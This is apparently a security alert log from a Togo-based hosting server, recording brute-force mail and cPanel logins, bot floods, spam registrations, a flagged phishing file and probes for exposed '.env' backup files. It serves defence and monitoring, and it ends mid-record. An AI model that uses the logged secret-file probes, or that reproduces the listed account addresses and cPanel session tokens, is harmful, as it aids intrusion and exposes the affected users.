2026-06-09 03:55:39 dovecot_plain authenticator failed for H=vps-c207456c.vps.ovh.net (185-224-215-184.netherlands-3.vps.ac) [57.131.32.191]:52976: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 3.226.255.133
country_id: 6252001
domain: cafe.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2343||QS:add-to-cart=2343||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 149.232.139.11
country_id: 3996063
description:
149.232.139.11 - - [09/Jun/2026:03:56:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131098&pdata=http%253A%252F%252Fwww.letabloid.tg%252F2025%252F01%252F07%252Fun-espace-partenarial-togo-france-ouvert-a-luniversite-de-kara-pour-favoriser-la-mobilite-etudiante%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780977363 HTTP/1.1" 302 0 www.letabloid.tg "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:149.232.139.11


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.107.179.123
country_id: 2921044
description:
2026-06-09 03:55:53 dovecot_plain authenticator failed for H=static.123.179.107.91.clients.your-server.de (185-224-215-184.netherlands-3.vps.ac) [91.107.179.123]:46426: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.28.163.183
country_id: 2750405
description:
Jun  9 03:56:02 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.28.163.183 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.92.70.236
country_id: 3175395
description:
2026-06-09 03:56:19 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [45.92.70.236]:57442: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 3.226.255.133
country_id: 6252001
domain: cafe.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2333||QS:add-to-cart=2333||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 3.226.255.133
country_id: 6252001
domain: cafe.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2346||QS:add-to-cart=2346||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.182.184.223
country_id: 6252001
domain: www.sodigaz.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/145.0.7632.6 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.31.131.33
country_id: 783754
description:
2026-06-09 03:57:58 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [144.31.131.33]:43242: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.29.139.235
country_id: 2750405
description:
2026-06-09 03:57:34 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [193.29.139.235]:50594: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 57.128.174.124
country_id: 3017382
description:
2026-06-09 03:57:46 dovecot_plain authenticator failed for H=vps-cc0eb490.vps.ovh.net (185-224-215-184.netherlands-3.vps.ac) [57.128.174.124]:57238: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 150.241.74.150
country_id: 6252001
description:
2026-06-09 03:58:11 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [150.241.74.150]:47242: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.164.45.187
country_id: 1835841
description:
2026-06-09 03:59:11 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [141.164.45.187]:14496: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.238.156.63
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-une-nouvelle-etape-pour-laccompagnement-entrepreneurial-des-jeunes/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.159.131.12
country_id: 783754
description:
2026-06-09 03:58:29 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [78.159.131.12]:29568: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.120.93.242
country_id: 2921044
description:
2026-06-09 03:58:43 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [87.120.93.242]:41534: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.4.99
country_id: 2750405
description:
2026-06-09 03:58:57 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [141.98.4.99]:38522: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 150.241.74.150
country_id: 6252001
description:
2026-06-09 03:58:18 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [150.241.74.150]:47242: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.238.156.63
country_id: 3996063
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/togo-une-nouvelle-etape-pour-laccompagnement-entrepreneurial-des-jeunes/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.23.222.99
country_id: 6252001
description:
2026-06-09 03:59:38 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [193.23.222.99]:50620: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.158.121
country_id: 2750405
description:
2026-06-09 03:59:53 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [104.28.158.121]:52748: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.246.1.143
country_id: 1819730
description:
2026-06-09 04:00:08 dovecot_plain authenticator failed for H=119246001143.ctinets.com (185-224-215-184.netherlands-3.vps.ac) [119.246.1.143]:34766: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.164.45.187
country_id: 1835841
description:
2026-06-09 03:59:19 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [141.164.45.187]:14496: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.200
country_id: 2750405
description:
2026-06-09 03:59:24 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [104.28.163.200]:56603: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.246.1.143
country_id: 1819730
description:
2026-06-09 04:00:15 dovecot_login authenticator failed for H=119246001143.ctinets.com (185-224-215-184.netherlands-3.vps.ac) [119.246.1.143]:34766: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 190.92.203.185
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:modernisation-du-systeme-de-sante-le-togo-en-progression/||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 13.231.185.74
country_id: 1861060
description:
2026-06-09 04:00:22 dovecot_plain authenticator failed for H=ec2-13-231-185-74.ap-northeast-1.compute.amazonaws.com (185-224-215-184.netherlands-3.vps.ac) [13.231.185.74]:36964: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 159.138.7.236
country_id: 1819730
description:
159.138.7.236 - - [09/Jun/2026:04:00:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10143381&pdata=https%253A%252F%252Ftogodailynews.tg%252Fprojet-passco-la-phase-3-officiellement-lance-a-pesside-dans-la-keran%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780977630 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/projet-passco-la-phase-3-officiellement-lance-a-pesside-dans-la-keran/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:159.138.7.236


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.120.93.240
country_id: 2921044
description:
2026-06-09 04:00:37 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [87.120.93.240]:65200: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.117
country_id: 1880251
description:
47.128.122.117 - - [09/Jun/2026:04:01:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13004650&pdata=https%253A%252F%252Ftogodailynews.tg%252Fune-residence-pour-les-artistes-plasticiens-a-kpalime%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780977718 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/une-residence-pour-les-artistes-plasticiens-a-kpalime/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.117


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.82
country_id: 1269750
description:
2026-06-09 04:04:40 dovecot_login authenticator failed for H=(nsg-corporate-82.230.187.122.airtel.in) [122.187.230.82]:42085: 535 Incorrect authentication data (set_id=marketing@togosem.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.82
country_id: 1269750
description:
Jun  9 04:04:38 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.82 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 146.190.126.213
country_id: 6252001
description:
Jun  9 04:05:17 ns5 pure-ftpd[348925]: (?@146.190.126.213) [INFO] New connection from 146.190.126.213


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 147.185.132.213
country_id: 6252001
description:
Jun  9 04:05:42 ns5 pure-ftpd[349157]: (?@147.185.132.213) [INFO] New connection from 147.185.132.213


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 146.190.126.213
country_id: 6252001
description:
Jun  9 04:05:23 ns5 pure-ftpd[348925]: (?@146.190.126.213) [WARNING] Authentication failed for user [direct7]


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 34.177.101.158
country_id: 1880251
domain: mail.sahamtg.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:34.177.101.158||TA:34.177.101.158||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 188.211.254.70
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:lutte-contre-la-piraterie-maritime-le-systeme-juridique-togolais-se-renforce/||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 95.164.195.141
country_id: 6252001
description:
95.164.195.141 - - [09/Jun/2026:04:08:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7183560&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2087&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780978138 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:95.164.195.141


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.164.195.141
country_id: 6252001
description:
[2026-06-09 04:09:01 +0000] info [whostmgrd] 95.164.195.141 - a4@gmail.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.106
country_id: 1880251
description:
47.128.122.106 - - [09/Jun/2026:04:10:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9946261&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-la-3eme-edition-de-la-jjeft-a-tenue-ses-promesses%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780978199 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-la-3eme-edition-de-la-jjeft-a-tenue-ses-promesses/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.106


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 100.55.0.54
country_id: 6252001
domain: cafe.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2337||QS:add-to-cart=2337||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 100.55.0.54
country_id: 6252001
domain: cafe.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2330||QS:add-to-cart=2330||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.126.41.234
country_id: 2017370
description:
2026-06-09 04:14:34 dovecot_login authenticator failed for H=([49.124.151.84]) [109.126.41.234]:52364: 535 Incorrect authentication data (set_id=olivier.gadawouye@ekeasarl.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.126.41.234
country_id: 2017370
description:
Jun  9 04:14:32 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.126.41.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 212.241.29.45
country_id: 1527747
description:
2026-06-09 04:16:29 H=([212.241.29.45]) [212.241.29.45]:2288 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:04-17.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 198.23.185.222
country_id: 6252001
description:
[2026-06-09 04:17:31 +0000] info [whostmgrd] 198.23.185.222 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 198.23.185.222
country_id: 6252001
description:
[2026-06-09 04:17:33 +0000] info [whostmgrd] 198.23.185.222 - root "GET /cpsess2182527324/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Accept Your Maximum Bonus vamvozmviigr.blogspot.dk 3b||Email:scotklumph@gmail.com||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.58
country_id: 6252001
description:
205.169.39.58 - - [09/Jun/2026:04:19:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7367834&pdata=http%253A%252F%252Fdgpu8l.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780978768 HTTP/1.1" 302 0 dgpu8l.mediatopnews.tg "http://dgpu8l.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.58


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.228.126.80
country_id: 1562822
description:
[2026-06-09 04:21:05 +0000] info [cpaneld] 14.228.126.80 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.35.183.237
country_id: 2017370
description:
[2026-06-09 04:21:29 +0000] info [cpaneld] 212.35.183.237 - be "GET /login/?login_only=1&user=be&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user be (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.87.243.85
country_id: 798544
description:
Jun  9 04:21:32 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.87.243.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.248
country_id: 3469034
description:
Jun  9 04:21:11 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.248 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.244.134.77
country_id: 3469034
description:
[2026-06-09 04:21:27 +0000] info [cpaneld] 186.244.134.77 - bel "GET /login/?login_only=1&user=bel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bel (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 212.241.29.45
country_id: 1527747
description:
2026-06-09 04:22:26 H=([212.241.29.45]) [212.241.29.45]:2315 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.77.50.134
country_id: 3175395
description:
Jun  9 04:23:11 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.77.50.134 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.36.94.149
country_id: 6252001
description:
[2026-06-09 04:28:11 +0000] info [whostmgrd] 138.36.94.149 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.20
country_id: 2635167
domain: cinema.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/cinemafreenetmas/public_html/.449859418098092.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.143
country_id: 3017382
description:
[2026-06-09 04:30:45 +0000] info [cpaneld] 5.231.255.143 NEW cinemafreenetmas:ySwxZDHInnGHjfuj address=5.231.255.143,app=cpaneld,creator=cinemafreenetmas,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.38
country_id: 6252001
description:
205.169.39.38 - - [09/Jun/2026:04:31:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986179&pdata=http%253A%252F%252Fjvvtdy.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780979469 HTTP/1.1" 302 0 jvvtdy.mediatopnews.tg "http://jvvtdy.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.38


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 198.23.185.222
country_id: 6252001
description:
[2026-06-09 04:31:22 +0000] info [whostmgrd] 198.23.185.222 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 37.150.2.152
country_id: 1522867
description:
2026-06-09 04:31:28 H=([37.150.2.152]) [37.150.2.152]:25459 F=<home@white-ways.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 198.23.185.222
country_id: 6252001
description:
[2026-06-09 04:31:23 +0000] info [whostmgrd] 198.23.185.222 - root "GET /cpsess9469827390/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 18.219.145.120
country_id: 6252001
domain: ucao-uut.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/83.0.4103.0 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 37.150.2.152
country_id: 1522867
description:
2026-06-09 04:37:10 H=([37.150.2.152]) [37.150.2.152]:8291 F=<home@white-ways.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 34.124.213.87
country_id: 1880251
domain: www.rbtv77.cloud-et-racks.tg
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.15||T:APACHE||MV:.env~||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Obtain Your Strong Extra Reward sepoladi.blogspot.no qN||Email:billgmt2017@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.124.213.87
country_id: 1880251
domain: www.rbtv77.cloud-et-racks.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:cloudetracks||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:04-42.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 37.150.2.152
country_id: 1522867
description:
2026-06-09 04:43:09 H=([37.150.2.152]) [37.150.2.152]:15085 F=<home@white-ways.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 180.153.197.92
country_id: 1814991
description:
180.153.197.92 - - [09/Jun/2026:04:44:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13198535&pdata=http%253A%252F%252Flepoint-actu.tg%252Findex.php%252F2024%252F03%252F27%252Flexperience-togolaise-dans-la-regulation-des-telecommunications-un-modele%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780980294 HTTP/1.1" 302 0 lepoint-actu.tg "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.4 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:180.153.197.92


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 209.50.164.125
country_id: 6252001
description:
[2026-06-09 04:46:55 +0000] info [cpaneld] 209.50.164.125 - abttogo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.25.108.14
country_id: 3686110
description:
[2026-06-09 04:48:28 +0000] info [cpaneld] 190.25.108.14 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.159.255.199
country_id: 1210997
description:
[2026-06-09 04:48:33 +0000] info [cpaneld] 103.159.255.199 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.47.206.249
country_id: 1522867
description:
[2026-06-09 04:48:41 +0000] info [cpaneld] 92.47.206.249 - brmntg "GET /login/?login_only=1&user=brmntg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user brmntg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 110.76.128.32
country_id: 1210997
description:
[2026-06-09 04:48:46 +0000] info [cpaneld] 110.76.128.32 - brm "GET /login/?login_only=1&user=brm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user brm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.55.22.152
country_id: 3686110
description:
[2026-06-09 04:48:50 +0000] info [cpaneld] 181.55.22.152 - br "GET /login/?login_only=1&user=br&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user br (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.53.94.152
country_id: 3508796
description:
[2026-06-09 04:49:07 +0000] info [cpaneld] 179.53.94.152 - snbtg "GET /login/?login_only=1&user=snbtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user snbtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.19.196.91
country_id: 6252001
description:
[2026-06-09 04:49:21 +0000] info [cpaneld] 37.19.196.91 - - "GET / HTTP/1.1" FAILED LOGIN cpaneld: Authorization: type not known


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 37.19.196.91
country_id: 6252001
description:
[2026-06-09 04:49:27 +0000] info [cpaneld] 37.19.196.91 NEW ntopdioi:7aQ3vlAxvbfUjcpf address=37.19.196.91,app=cpaneld,creator=ntopdioi,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [09/Jun/2026:04:49:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934538&pdata=https%253A%252F%252Fin.crepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780980573 HTTP/2.0" 302 0 in.crepsad.tg "https://in.crepsad.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.239.148.142
country_id: 3996063
description:
Jun  9 04:50:39 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.239.148.142 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.24
country_id: 6252001
description:
